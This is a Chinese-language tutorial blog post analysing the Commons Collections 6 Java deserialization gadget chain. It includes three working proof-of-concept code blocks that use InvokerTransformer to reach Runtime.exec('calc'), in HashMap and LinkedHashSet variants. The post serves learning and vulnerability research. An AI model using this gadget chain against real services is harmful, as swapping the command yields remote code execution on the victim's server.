作者:Narcher 时间:2024/3/17 分类:Vulnerability Analysis
前言
CC6这条链不受jdk版本限制,可谓非常好用。当初我接触到的第一个Java反序列化的题就是用CC6解决的,印象十分深刻。
之前我们学习了URLDNS这条链,实际上就是为了CC6做准备,因为二者有一些异曲同工之妙。
正文
我们先和往常一样,去看一下ysoserial中的CC6的流程:
可以发现这条链的后半部分和我们的CC1这条链的后半部分一模一样,前边则是由AnnotationInvocationHandler的invoke方法触发get方法修改成了TiedMapEntry类中的方法来触发。我们来调试一下看看。
1.TiedMapEntry部分
首先,前边一模一样,我就直接copy过来了,直接从TiedMapEntry的getValue()方法来看。
实际上它的getValue中调用了map的get方法,而map是可控的,因此我们可以直接传入构造好的LazyMap,之后我们再看一下key,其实这个key我们是完全不用管的,因为CC1的时候已经讲过,ConstantTransformer无视了调用时的传参。
之后我们再看一下谁调用了getValue方法:
实际上,还是这个类里边的hashCode方法。
2.HashMap部分
看见hashCode方法,我们又刚学完URLDNS这条链,实际上就很明白了,直接上HashMap梭哈(既能调用hashCode方法,又直接重写了readObject方法,简直完美):
HashMap的readObject方法中有这么一句,调用了hash方法,而hash方法内则又调用了hashCode:
这样我们就只需要注意将key传参为我们想要利用的TiedMapEntry就好了。
3.构造链
我们把上边所说的按流程串起来:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer= new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap<>(); map.put("value","value"); LazyMap innerMap = (LazyMap) LazyMap.decorate(map, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(innerMap, "aaa"); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(tiedMapEntry, "bbb");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C:\\Users\\Narcher\\IdeaProjects\\CC6.txt")); oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("C:\\Users\\Narcher\\IdeaProjects\\CC6.txt")); ois.readObject();
|
看起来不错,但完成了吗?
实际上是没有的。我们前边学了URLDNS链可以知道,实际上在给hashMap put的时候就已经触发这条链了,这倒也没关系,只要反序列化的时候能再次触发一遍就好了,但实际上也不行,我们调试一下看看:
可以看到,根本没有进去,这其实是因为之前已经触发过一次,所以innermap中已经存在这个key了。
其实解决方法也很简单,直接在序列化之前删除掉这个key就好了。
直接:
。。。。。。。。。。。。。。。。。。。。。。。。。。。。
疑惑
这里有一个小插曲,本人在复现的时候,并未像网上所说的在hashMap put的时候调用这条链,而是在
1
| TiedMapEntry tiedMapEntry = new TiedMapEntry(innerMap, "aaa");
|
这时候就已经触发这条链了。经调试,看起来像是在给key和map赋值的时候连着触发了三次(其实这也很奇怪,因为key居然没有存下来,而是在最后的时候存了下来,使得并没有在put方法中触发链子)。网上有师傅说是IDEA配置的问题,但经过测试,并非是IDEA调试导致的toString等一系列方法的触发。
这个疑惑目前还未解决,但并不妨碍之后链子的触发。
已解决,ytgg也说是IDEA的配置问题,今早打开电脑重新试了一下就成功了,猜测是IDEA的缓存问题,怪事……
。。。。。。。。。。。。。。。。。。。。。。。。。。。。
再进入正文,我们不想在序列化之前触发这条链,那就需要改一下前边的流程,并在序列化前用反射给改回去,其实改的方法有很多,我们可以改tiedMapEntry,也可以改innermap,还可以改chainedTransformer。我在这里改了chainedTransformer:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer= new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> innerMap = LazyMap.decorate(map, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(innerMap, "aaa"); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(tiedMapEntry, "bbb"); innerMap.remove("aaa"); Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(innerMap,chainedTransformer);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C:\\Users\\Narcher\\IdeaProjects\\CC6.txt")); oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("C:\\Users\\Narcher\\IdeaProjects\\CC6.txt")); ois.readObject();
|
这样一来,CC6就大功告成了。
后文
以上的CC6是白日梦组长讲的版本,和ysoserial中的CC6的差别为最终的readObject方法所属的类。上边讲的是用的HashMap的readObject,ysoserial中用的是HashSet的readObject。改起来也很简单,具体代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}), }; ChainedTransformer chainedTransformer= new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> innerMap = LazyMap.decorate(map, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(innerMap, "aaa"); LinkedHashSet set = new LinkedHashSet(); set.add(tiedMapEntry); innerMap.remove("aaa"); Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(innerMap,chainedTransformer);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C:\\Users\\Narcher\\IdeaProjects\\CC6.txt")); oos.writeObject(set);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("C:\\Users\\Narcher\\IdeaProjects\\CC6.txt")); ois.readObject();
|